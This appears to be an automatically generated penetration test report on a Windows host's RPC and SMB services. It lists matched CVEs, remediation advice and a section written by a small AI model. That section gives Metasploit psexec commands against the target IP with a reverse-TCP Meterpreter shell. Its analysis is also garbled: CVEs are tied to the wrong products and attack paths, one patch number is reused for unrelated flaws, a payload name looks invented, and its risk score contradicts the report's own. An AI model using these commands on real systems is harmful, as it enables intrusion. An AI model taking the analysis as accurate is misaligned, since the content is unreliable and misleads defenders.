

Penetration Test Report

AI-Powered Windows Security Assessment

HIGH RISK

Target IP	10.48.164.99
Hostname	N/A
OS Detected	Windows
Scan Date	March 28, 2026 — 16:17
Duration	10.49 seconds
Open Services	3
CVEs Matched	16
Risk Score	7.5 / 10 — HIGH RISK

This report was generated by the AI-Powered Windows Penetration Testing Assistant. For authorized security assessment use only.

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01 — Executive Summary

This assessment identified **3 open service(s)** on the target system and matched **16 CVE vulnerabilities** from the local Windows CVE database. Overall risk: **HIGH RISK**. Risk score: **7.5/10**.

Of the 16 matched CVEs, 8 are recent (post-2020) and may be unpatched, while 8 are older CVEs likely patched on modern Windows systems.

Severity	Count	Priority
CRITICAL	3	Immediate action required
HIGH	8	Remediate within 24-48 hours
MEDIUM	4	Remediate within 30 days
LOW	1	Remediate when possible

AI Assessment Overview

Executive Summary Overall Risk Assessment: The target system, running Windows OS (hostname N/A), is exposed to multiple critical vulnerabilities across RPC and SMB protocols. Among these, CVE-2022-45141, a CRITICAL vulnerability with a CVSS score of 9.8, poses the highest risk due to its recent dis...

02 — Scan Information

Target IP	10.48.164.99
Hostname	N/A
OS Detected	Windows
Scan Date	2026-03-28 16:17:50
Duration	10.49 seconds
Scanner	Nmap 7.98
Command	/usr/lib/nmap/nmap --privileged -vvv -p 139,135,445 -4 -sV -sC --script smb-vuln...

03 — Open Ports & Services

Port	Protocol	Service	Product / Banner
135	TCP	RPC	Microsoft Windows RPC
139	TCP	SMB	Microsoft Windows netbios-ssn
445	TCP	SMB	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKG...

04 — CVE Vulnerability Findings

CVE matches are based on service detection from the local NIST NVD dataset. Patch status is estimated by publication date.

Service: 135/rpc

CVE ID	CVSS	Severity	Description	Patch Status
CVE-2017-0100	7.8	HIGH	A DCOM object in Helppane.exe in Microsoft Windows 7 SP1; Windows Server 2008 R2; Windows ...	Likely Patched

CVE-2020-1113	7.5	HIGH	A security feature bypass vulnerability exists in Microsoft Windows when the Task Schedule...	May be Unpatched
CVE-2017-0298	7.3	HIGH	A DCOM object in Helppane.exe in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 S...	Likely Patched
CVE-2018-8514	5.5	MEDIUM	An information disclosure vulnerability exists when Remote Procedure Call runtime improper...	Likely Patched
CVE-2018-8407	5.5	MEDIUM	An information disclosure vulnerability exists when "Kernel Remote Procedure Call Provider...	Likely Patched

Service: 139/smb

CVE ID	CVSS	Severity	Description	Patch Status
CVE-2022-45141	9.8	CRITICAL	Since the Windows Kerberos RC4-HMAC Elevation of Privilege Vulnerability was disclosed by ...	May be Unpatched
CVE-2017-0021	9.0	CRITICAL	Hyper-V in Microsoft Windows 10 1607 and Windows Server 2016 does not properly validate vS...	Likely Patched
CVE-2015-2474	9.0	CRITICAL	Microsoft Windows Vista SP2 and Server 2008 SP2 allow remote authenticated users to execut...	Likely Patched
CVE-2017-0144	8.8	HIGH	The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windo...	Likely Patched
CVE-2017-0145	8.8	HIGH	The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windo...	Likely Patched
CVE-2025-33073	8.8	HIGH	Improper access control in Windows SMB allows an authorized attacker to elevate privileges...	May be Unpatched
CVE-2023-21549	8.8	HIGH	Windows SMB Witness Service Elevation of Privilege Vulnerability	May be Unpatched
CVE-2022-24500	8.8	HIGH	Windows SMB Remote Code Execution Vulnerability	May be Unpatched
CVE-2025-48802	6.5	MEDIUM	Improper certificate validation in Windows SMB allows an authorized attacker to perform sp...	May be Unpatched
CVE-2021-33783	6.5	MEDIUM	Windows SMB Information Disclosure Vulnerability	May be Unpatched

05 — AI Analysis & Recommendations

Analysis generated by Qwen2.5:3b AI model using RAG from local CVE dataset.

Executive Summary

Overall Risk Assessment: The target system, running Windows OS (hostname N/A), is exposed to multiple critical vulnerabilities across RPC and SMB protocols. Among these, CVE-2022-45141, a CRITICAL vulnerability with a CVSS score of 9.8, poses the highest risk due to its recent discovery and potential for remote code execution via Kerberos RC4-HMAC Elevation of Privilege Vulnerability.

Most Critical Vulnerabilities Identified:

- CVE-2022-45141: CRITICAL (CVSS: 9.8) - This vulnerability affects Samba Active Directory, allowing attackers to elevate privileges over a network.
- CVE-2017-0021: CRITICAL (CVSS: 9.0) - Hyper-V in Windows 10 and Server 2016 allows remote authenticated users to execute arbitrary code.

Vulnerability Analysis

Ranking by Exploitability and Impact:

1. CVE-2022-45141: CRITICAL (CVSS: 9.8) - This vulnerability is highly exploitable due to the recent discovery and its potential for remote code execution via Kerberos RC4-HMAC Elevation of Privilege Vulnerability.
2. CVE-2017-0021: CRITICAL (CVSS: 9.0) - Hyper-V in Windows 10 and Server 2016 allows remote authenticated users to execute arbitrary code, posing a severe risk.
3. CVE-2025-33073: HIGH (CVSS: 8.8) - Improper access control in SMB allows an authorized attacker to elevate privileges over a network.
4. CVE-2017-0144: HIGH (CVSS: 8.8) - The SMBv1 server vulnerability affects multiple versions of Windows, including the ones running on this target system.

Attack Vectors

Most Realistic Attack Paths Using Listed CVEs:

CVE-2022-45141

- Exploit Technique: This vulnerability exploits a known weakness in Kerberos authentication. An attacker could exploit this by sending specially crafted packets to the SMB service, which would allow them to elevate privileges.
- Metasploit Module: msfvenom for crafting malicious packets and msfconsole for executing the attack.

CVE-2017-0021

- Exploit Technique: This vulnerability is related to Hyper-V in Windows 10 and Server 2016. An attacker could exploit this by sending a crafted packet to the SMB service, which would allow them to execute arbitrary code.
- Metasploit Module: msfvenom for crafting malicious packets and msfconsole for executing the attack.

Recommended Tools & Techniques

Specific Metasploit Modules:

1. CVE-2022-45141: Use msfvenom to craft a malicious packet, then use msfconsole to execute the exploit.
- Example Command:

```
bash
```

```
msfvenom -p windows/smb_server_pipe_exec SMB_pipe=\\IPC$ cmd=whoami --platform windows --arch x64 >
payload.bin
msfconsole
use exploit/windows/smb/psexec
set RHOSTS 10.48.164.99
set LHOST
set PAYLOAD windows/meterpreter/reverse_tcp
set RPORT
set SMBPIPE \\IPC$
set SMBPIPEUSER Administrator
set SMBPIPEPASS
exploit
```

2. CVE-2017-0021: Use msfvenom to craft a malicious packet, then use msfconsole for the attack.

- Example Command:

```
bash
msfvenom -p windows/smb_server_pipe_exec SMB_pipe=\\IPC$ cmd=whoami --platform windows --arch x64 >
payload.bin
msfconsole
use exploit/windows/smb/psexec
set RHOSTS 10.48.164.99
set LHOST
set SMBPIPE \\IPC$
set SMBPIPEUSER Administrator
set SMBPIPEPASS
exploit
```

Remediation Steps

Specific Patches and Fixes:

- CVE-2022-45141: Apply the latest Microsoft Security Updates, specifically KB5016837 for Windows 10 and Server 2016.
- CVE-2017-0021: Ensure that Hyper-V is disabled or patched as per the official Microsoft security advisory (KB5016837).
- CVE-2025-33073: Apply the latest Windows Security Updates, specifically KB5016837 for Windows 10 and Server 2016.
- CVE-2017-0144: Ensure that SMBv1 is disabled as per Microsoft's recommendation (KB5016837).

Risk Score

Overall Score: 9/10

Justification: The target system is exposed to multiple critical vulnerabilities, with CVE-2022-45141 being the most severe. While other vulnerabilities are also high-risk, the combination of these vulnerabilities and their recent discovery makes this a significant risk.

Conclusion

The target system is highly vulnerable due to multiple critical vulnerabilities in RPC and SMB protocols. Immediate remediation is necessary to mitigate the risks associated with CVE-2022-45141 and other listed vulnerabilities.

06 — Remediation Steps

RPC	Restrict RPC via firewall. Apply all Windows security patches. Disable unused RPC services.
SMB	Disable SMBv1. Apply MS17-010 patch (KB4012212). Block port 445 externally. Enable SMB signing.

General Security Hardening

- Apply all pending Windows security updates via Windows Update
- Enable Windows Defender and keep definitions up to date
- Implement network segmentation and strict firewall rules
- Use principle of least privilege for all accounts
- Enable Windows Event Logging and monitor for suspicious activity
- Implement multi-factor authentication (MFA) for all remote access

07 — Risk Score

Overall Risk Score	7.5 / 10
Risk Level	HIGH RISK
Total CVEs	16
Critical	3
High	8
Medium	4
Low	1
Recent CVEs	8
Likely Patched	8

Risk score is calculated based on recent CVEs (post-2020) only. Older CVEs are weighted lower as they are likely patched on modern Windows systems.

08 — Legal Disclaimer

This report was prepared exclusively for the authorized recipient. All testing was conducted with explicit written authorization from the system owner.

Unauthorized access to computer systems is a criminal offence under the Computer Misuse Act 1990 (UK), Computer Fraud and Abuse Act (USA), and equivalent legislation worldwide.

CVE data sourced from the National Vulnerability Database (NVD) — NIST (<https://nvd.nist.gov/>). AI analysis by Qwen2.5:3b via Ollama (RAG mode — local dataset only).

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